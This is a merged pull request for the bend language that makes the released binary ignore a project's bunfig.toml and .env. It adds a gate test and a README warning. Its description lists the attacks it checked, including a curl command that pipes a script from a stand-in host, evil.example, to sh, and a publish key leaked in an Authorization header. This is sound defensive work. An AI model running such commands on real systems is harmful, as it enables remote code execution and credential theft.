Repository navigation
The ping gate checks that the released bend ignores a project's bunfig.toml and .env - #1023
Merged
Merged
Conversation
…preloads a script and whose .env names a package under its own BEND_LIB, and requires neither to take effect; the README says bun bend2/main.ts from a checkout still reads both Co-Authored-By: Claude Opus 5.5 (1M context) <[email protected]>
Merged
Phylliida
pushed a commit
to Phylliida/bend
that referenced
this pull request
Sep 27, 2026
…g.toml and .env (bendlang#1023) Co-authored-by: Claude Opus 5.5 (1M context) <[email protected]>
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
The gate and docs half of #1018. The fix is in the site repo's
release.ts(bendlang-private/bend-lang.com#37): it buildsbin/bendwith--no-compile-autoload-{bunfig,dotenv,package-json,tsconfig}, so the compiled bend no longer reads a project'sbunfig.tomlor.env.Changes
gates/ping.ts: the installedbendrunsmain.bendin a project containing:bunfig.tomlwhosepreloadwrites a marker file;.envwithBEND_LIB=./lib, wherelib/holds both anames/[email protected]mapping and the package it points to. This is point 3 of the comment: a named import where the project supplies the mapping and the package.The check requires that no marker is written and that the name is looked up on the hub, which fails.
PASS: 21 / 21;origin/mainbuild (no flags): that check fails, and bend prints5nfrom the project's copy.README.md: one sentence under Install: the installedbendignores a project'sbunfig.tomland.env, butbun bend2/main.tsfrom a checkout still reads them, so check untrusted code withbend. Code inmain.tscan't prevent this, because a preload runs before it. The README is at its token cap, so the note is short.The other effects in the comment
Each was checked against a build without the flags and one with them (Bun 1.4.0):
.envin the projectBEND_HUB=<local server>, then--publish <name>@<version>Authorization: Bearer <key>BEND_ORIGIN=http://evil.example, thenbend update(fakecurlon PATH)curl -fsSL http://evil.example/install.sh | shhttps://bend-lang.com/install.shBEND_LIB=./.cachewithnames/and the packageAll terms check.for a law about the project's copyAll three need the variable to come from
.env, and the release no longer reads it. What stays open from #1005 (a cached package isn't re-hashed on load, and the../0x…namespace collision) is inbend.tsand isn't part of this PR.The release gets the fix only when 2.0.27 is cut from #37's
release.ts.🤖 Generated with Claude Code